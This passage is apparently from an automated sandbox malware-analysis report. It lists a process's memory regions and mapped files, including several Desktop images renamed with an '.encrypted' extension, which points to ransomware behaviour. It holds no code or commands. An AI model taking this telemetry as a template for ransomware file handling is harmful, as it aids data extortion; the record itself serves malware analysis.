0xf960000 end_va = 0xf9dffff entry_point = 0x0 region_type = private name = "private_0x000000000f960000" filename = "" Region: id = 6224 start_va = 0xf9e0000 end_va = 0x103dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f9e0000" filename = "" Region: id = 6225 start_va = 0x7ff640422000 end_va = 0x7ff640423fff entry_point = 0x0 region_type = private name = "private_0x00007ff640422000" filename = "" Region: id = 6231 start_va = 0x7ffd1a950000 end_va = 0x7ffd1a958fff entry_point = 0x7ffd1a950000 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 6232 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6244 start_va = 0x103e0000 end_va = 0x1045ffff entry_point = 0x0 region_type = private name = "private_0x00000000103e0000" filename = "" Region: id = 6245 start_va = 0x7ff640420000 end_va = 0x7ff640421fff entry_point = 0x0 region_type = private name = "private_0x00007ff640420000" filename = "" Region: id = 6269 start_va = 0xddb0000 end_va = 0xddb3fff entry_point = 0xddb0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 6270 start_va = 0xddc0000 end_va = 0xddc3fff entry_point = 0xddc0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 6271 start_va = 0xdde0000 end_va = 0xde00fff entry_point = 0xdde0000 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000030.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000030.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000030.db") Region: id = 6348 start_va = 0xddb0000 end_va = 0xddbdfff entry_point = 0xddb0000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 6387 start_va = 0xf9e0000 end_va = 0xf9f9fff entry_point = 0xf9e0000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6388 start_va = 0xfa00000 end_va = 0xfafffff entry_point = 0xfa00000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6389 start_va = 0xfb00000 end_va = 0xfb5ffff entry_point = 0xfb00000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6449 start_va = 0xddb0000 end_va = 0xddb5fff entry_point = 0xddb0000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 6491 start_va = 0xddb0000 end_va = 0xddb9fff entry_point = 0xddb0000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 6510 start_va = 0xddb0000 end_va = 0xddc7fff entry_point = 0xddb0000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 6588 start_va = 0xddb0000 end_va = 0xddc6fff entry_point = 0xddb0000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 6591 start_va = 0xddb0000 end_va = 0xddc5fff entry_point = 0xddb0000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 6677 start_va = 0xddb0000 end_va = 0xddb3fff entry_point = 0xddb0000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 6685 start_va = 0xfb60000 end_va = 0xfc5ffff entry_point = 0xfb60000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 6687 start_va = 0xddb0000 end_va = 0xddb6fff entry_point = 0xddb0000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 6918 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6926 start_va = 0x7ffd19590000 end_va = 0x7ffd195a8fff entry_point = 0x7ffd19591180 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6961 start_va = 0x51c0000 end_va = 0x51c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051c0000" filename = "" Region: id = 6962 start_va = 0x51d0000 end_va = 0x51d3fff entry_point = 0x0 region_type = private name = "private_0x00000000051d0000" filename = "" Region: id = 6963 start_va = 0x51e0000 end_va = 0x51e3fff entry_point = 0x51e0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 6964 start_va = 0xfc60000 end_va = 0xfd5ffff entry_point = 0xfc60000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6965 start_va = 0x51f0000 end_va = 0x51f6fff entry_point = 0x51f0000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6966 start_va = 0x5440000 end_va = 0x5443fff entry_point = 0x5440000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6967 start_va = 0xc9c0000 end_va = 0xc9d6fff entry_point = 0xc9c0000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 6968 start_va = 0xc9c0000 end_va = 0xc9d5fff entry_point = 0xc9c0000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 6969 start_va = 0xc9c0000 end_va = 0xc9c3fff entry_point = 0xc9c0000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 6972 start_va = 0x7ffd184e0000 end_va = 0x7ffd1852bfff entry_point = 0x7ffd184e10a0 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 6975 start_va = 0x7ffd12e00000 end_va = 0x7ffd12e11fff entry_point = 0x7ffd12e00000 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 6983 start_va = 0x7ffd12d00000 end_va = 0x7ffd12df2fff entry_point = 0x7ffd12d00000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 6984 start_va = 0x7ffd12ce0000 end_va = 0x7ffd12cfdfff entry_point = 0x7ffd12ce0000 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 6985 start_va = 0x51f0000 end_va = 0x51fdfff entry_point = 0x51f0000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 6986 start_va = 0x7ffd12ca0000 end_va = 0x7ffd12cd4fff entry_point = 0x7ffd12ca0000 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 6987 start_va = 0x7ffd12e20000 end_va = 0x7ffd12ec5fff entry_point = 0x7ffd12e28c84 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 6988 start_va = 0x7ffd1d000000 end_va = 0x7ffd1d04dfff entry_point = 0x7ffd1d001278 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6989 start_va = 0x7ffd12bf0000 end_va = 0x7ffd12c37fff entry_point = 0x7ffd12bf0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Program Files\\Windows Portable Devices\\sqmapi.dll" (normalized: "c:\\program files\\windows portable devices\\sqmapi.dll") Region: id = 6990 start_va = 0x7ffd12c40000 end_va = 0x7ffd12c90fff entry_point = 0x7ffd12c40000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 7004 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 7024 start_va = 0x7ffd12b70000 end_va = 0x7ffd12b9afff entry_point = 0x7ffd12b70000 region_type = mapped_file name = "settingmonitor.dll" filename = "\\Windows\\System32\\SettingMonitor.dll" (normalized: "c:\\windows\\system32\\settingmonitor.dll") Region: id = 7027 start_va = 0x5440000 end_va = 0x5442fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 7028 start_va = 0x7ffd12a70000 end_va = 0x7ffd12ac9fff entry_point = 0x7ffd12a70000 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 7029 start_va = 0xc9c0000 end_va = 0xc9c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c9c0000" filename = "" Region: id = 7035 start_va = 0xc9d0000 end_va = 0xc9d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c9d0000" filename = "" Region: id = 7037 start_va = 0xc9e0000 end_va = 0xc9e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c9e0000" filename = "" Region: id = 7038 start_va = 0xc9e0000 end_va = 0xc9e1fff entry_point = 0xc9e0000 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 7039 start_va = 0xc9f0000 end_va = 0xca2ffff entry_point = 0xc9f10e0 region_type = mapped_file name = "input.dll" filename = "\\Windows\\System32\\input.dll" (normalized: "c:\\windows\\system32\\input.dll") Region: id = 7050 start_va = 0x7ffd12830000 end_va = 0x7ffd12a61fff entry_point = 0x7ffd12830000 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 7106 start_va = 0x51f0000 end_va = 0x51f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051f0000" filename = "" Region: id = 7141 start_va = 0xc9f0000 end_va = 0xc9f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c9f0000" filename = "" Region: id = 7142 start_va = 0x7ffd12ae0000 end_va = 0x7ffd12b62fff entry_point = 0x7ffd12ae0000 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 7143 start_va = 0xca00000 end_va = 0xca05fff entry_point = 0xca00000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7145 start_va = 0x7ffd12680000 end_va = 0x7ffd1270dfff entry_point = 0x7ffd12680000 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 7147 start_va = 0xca10000 end_va = 0xca12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ca10000" filename = "" Region: id = 7211 start_va = 0xca00000 end_va = 0xca09fff entry_point = 0xca00000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7225 start_va = 0xca20000 end_va = 0xca37fff entry_point = 0xca20000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7227 start_va = 0xca00000 end_va = 0xca06fff entry_point = 0xca00000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7228 start_va = 0xca20000 end_va = 0xca23fff entry_point = 0xca20000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 7229 start_va = 0xddb0000 end_va = 0xddc6fff entry_point = 0xddb0000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7230 start_va = 0xddb0000 end_va = 0xddc5fff entry_point = 0xddb0000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7231 start_va = 0xca30000 end_va = 0xca33fff entry_point = 0xca30000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7242 start_va = 0xca00000 end_va = 0xca0dfff entry_point = 0xca00000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 7244 start_va = 0xca00000 end_va = 0xca05fff entry_point = 0xca00000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7267 start_va = 0xca00000 end_va = 0xca09fff entry_point = 0xca00000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7276 start_va = 0xca20000 end_va = 0xca37fff entry_point = 0xca20000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7300 start_va = 0xca20000 end_va = 0xca36fff entry_point = 0xca20000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7302 start_va = 0xca20000 end_va = 0xca35fff entry_point = 0xca20000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7305 start_va = 0xca00000 end_va = 0xca03fff entry_point = 0xca00000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7307 start_va = 0xca00000 end_va = 0xca06fff entry_point = 0xca00000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 7318 start_va = 0xca00000 end_va = 0xca00fff entry_point = 0x0 region_type = private name = "private_0x000000000ca00000" filename = "" Region: id = 7319 start_va = 0xca00000 end_va = 0xca00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ca00000" filename = "" Region: id = 7321 start_va = 0x7ffd124e0000 end_va = 0x7ffd12518fff entry_point = 0x7ffd124e0000 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 7325 start_va = 0x7ffd12450000 end_va = 0x7ffd1246dfff entry_point = 0x7ffd12450000 region_type = mapped_file name = "bluetoothapis.dll" filename = "\\Windows\\System32\\BluetoothApis.dll" (normalized: "c:\\windows\\system32\\bluetoothapis.dll") Region: id = 7326 start_va = 0xca20000 end_va = 0xca22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ca20000" filename = "" Region: id = 7328 start_va = 0xca30000 end_va = 0xca33fff entry_point = 0xca30000 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 7388 start_va = 0xddb0000 end_va = 0xddbdfff entry_point = 0xddb109c region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 7391 start_va = 0x7ffd12260000 end_va = 0x7ffd1226bfff entry_point = 0x7ffd12260000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 7392 start_va = 0x7ffd1a150000 end_va = 0x7ffd1a214fff entry_point = 0x7ffd1a15109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 7393 start_va = 0xfd60000 end_va = 0xff5ffff entry_point = 0x0 region_type = private name = "private_0x000000000fd60000" filename = "" Region: id = 7394 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7397 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 7400 start_va = 0x7ffd13520000 end_va = 0x7ffd13528fff entry_point = 0x7ffd13521284 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 7401 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 7405 start_va = 0x50a0000 end_va = 0x50a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000050a0000" filename = "" Region: id = 7582 start_va = 0x7ffd12030000 end_va = 0x7ffd1203ffff entry_point = 0x7ffd12038700 region_type = mapped_file name = "qmgrprxy.dll" filename = "\\Windows\\System32\\qmgrprxy.dll" (normalized: "c:\\windows\\system32\\qmgrprxy.dll") Region: id = 7618 start_va = 0x7ffd11e70000 end_va = 0x7ffd11e78fff entry_point = 0x7ffd11e71cb4 region_type = mapped_file name = "bitsprx2.dll" filename = "\\Windows\\System32\\bitsprx2.dll" (normalized: "c:\\windows\\system32\\bitsprx2.dll") Region: id = 7646 start_va = 0x7ffd11dc0000 end_va = 0x7ffd11dc8fff entry_point = 0x7ffd11dc2234 region_type = mapped_file name = "bitsprx7.dll" filename = "\\Windows\\System32\\bitsprx7.dll" (normalized: "c:\\windows\\system32\\bitsprx7.dll") Region: id = 7647 start_va = 0x7ffd11db0000 end_va = 0x7ffd11dbdfff entry_point = 0x7ffd11db6488 region_type = mapped_file name = "bitsprx5.dll" filename = "\\Windows\\System32\\bitsprx5.dll" (normalized: "c:\\windows\\system32\\bitsprx5.dll") Region: id = 7648 start_va = 0x7ffd11de0000 end_va = 0x7ffd11de8fff entry_point = 0x7ffd11de2064 region_type = mapped_file name = "bitsprx3.dll" filename = "\\Windows\\System32\\bitsprx3.dll" (normalized: "c:\\windows\\system32\\bitsprx3.dll") Region: id = 7745 start_va = 0x50b0000 end_va = 0x50b0fff entry_point = 0x50b0000 region_type = mapped_file name = "internet explorer.lnk" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk") Region: id = 7746 start_va = 0x50c0000 end_va = 0x50c0fff entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 7747 start_va = 0x50d0000 end_va = 0x5100fff entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 7748 start_va = 0x5110000 end_va = 0x5129fff entry_point = 0x5110000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 7749 start_va = 0x5200000 end_va = 0x52fffff entry_point = 0x5200000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 7750 start_va = 0x50b0000 end_va = 0x50b1fff entry_point = 0x50b0000 region_type = mapped_file name = "iexplore.exe.mui" filename = "\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui") Region: id = 7751 start_va = 0xff60000 end_va = 0x10023fff entry_point = 0xff60000 region_type = mapped_file name = "iexplore.exe" filename = "\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe") Region: id = 7752 start_va = 0x5130000 end_va = 0x514ffff entry_point = 0x5130000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 7753 start_va = 0x50b0000 end_va = 0x50b0fff entry_point = 0x50b0000 region_type = mapped_file name = "file explorer.lnk" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk") Region: id = 7756 start_va = 0x5150000 end_va = 0x5150fff entry_point = 0x5150000 region_type = mapped_file name = "google chrome.lnk" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk") Region: id = 7757 start_va = 0x10460000 end_va = 0x132f6fff entry_point = 0x10460000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 7758 start_va = 0x50c0000 end_va = 0x50c3fff entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 7759 start_va = 0x5150000 end_va = 0x5197fff entry_point = 